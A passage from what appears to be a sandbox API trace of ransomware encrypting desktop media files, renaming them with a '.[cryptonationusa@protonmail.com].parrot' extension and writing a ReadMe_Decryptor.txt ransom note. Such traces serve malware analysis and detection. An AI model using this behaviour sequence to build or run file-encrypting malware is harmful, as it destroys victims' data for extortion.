Size=0x1) returned 0x5d49a0 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0031.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0031.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0031.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0031.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0031.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.754] WriteFile (in: hFile=0x258, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xb7f8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xb7f8, lpOverlapped=0x0) returned 1 [0031.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.755] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb7f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.755] CloseHandle (hObject=0x258) returned 1 [0031.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc038 [0031.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0031.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc038 | out: hHeap=0x5b0000) returned 1 [0031.756] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv I ONxrd0GJ6arExzv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv i onxrd0gj6arexzv.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv I ONxrd0GJ6arExzv.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv i onxrd0gj6arexzv.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0031.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.758] GetFileType (hFile=0x258) returned 0x1 [0031.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.768] lstrcmpW (lpString1="DLWTdGwm.mp4", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.768] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DLWTdGwm.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dlwtdgwm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.768] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x4bca [0031.768] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ce2, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.768] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.768] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.769] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4bca, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x4bca, lpOverlapped=0x0) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.769] GetLastError () returned 0x0 [0031.769] SetLastError (dwErrCode=0x0) [0031.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.769] GetLastError () returned 0x0 [0031.769] SetLastError (dwErrCode=0x0) [0031.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.769] GetLastError () returned 0x0 [0031.769] SetLastError (dwErrCode=0x0) [0031.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606998 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.772] GetLastError () returned 0x0 [0031.772] SetLastError (dwErrCode=0x0) [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.772] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0031.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0031.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0031.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.775] WriteFile (in: hFile=0x258, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x4ce8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x4ce8, lpOverlapped=0x0) returned 1 [0031.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0031.776] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ce2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.776] CloseHandle (hObject=0x258) returned 1 [0031.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0031.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0031.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0031.777] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DLWTdGwm.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dlwtdgwm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DLWTdGwm.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dlwtdgwm.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0031.793] GetFileType (hFile=0x23c) returned 0x1 [0031.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.803] lstrcmpW (lpString1="enOc.avi", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enOc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enoc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0031.803] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x63e3 [0031.803] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.804] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.804] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.804] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.804] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x63e3, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x63e3, lpOverlapped=0x0) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.804] GetLastError () returned 0x0 [0031.804] SetLastError (dwErrCode=0x0) [0031.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.804] GetLastError () returned 0x0 [0031.804] SetLastError (dwErrCode=0x0) [0031.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.805] GetLastError () returned 0x0 [0031.805] SetLastError (dwErrCode=0x0) [0031.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.805] RtlAllocateHeap 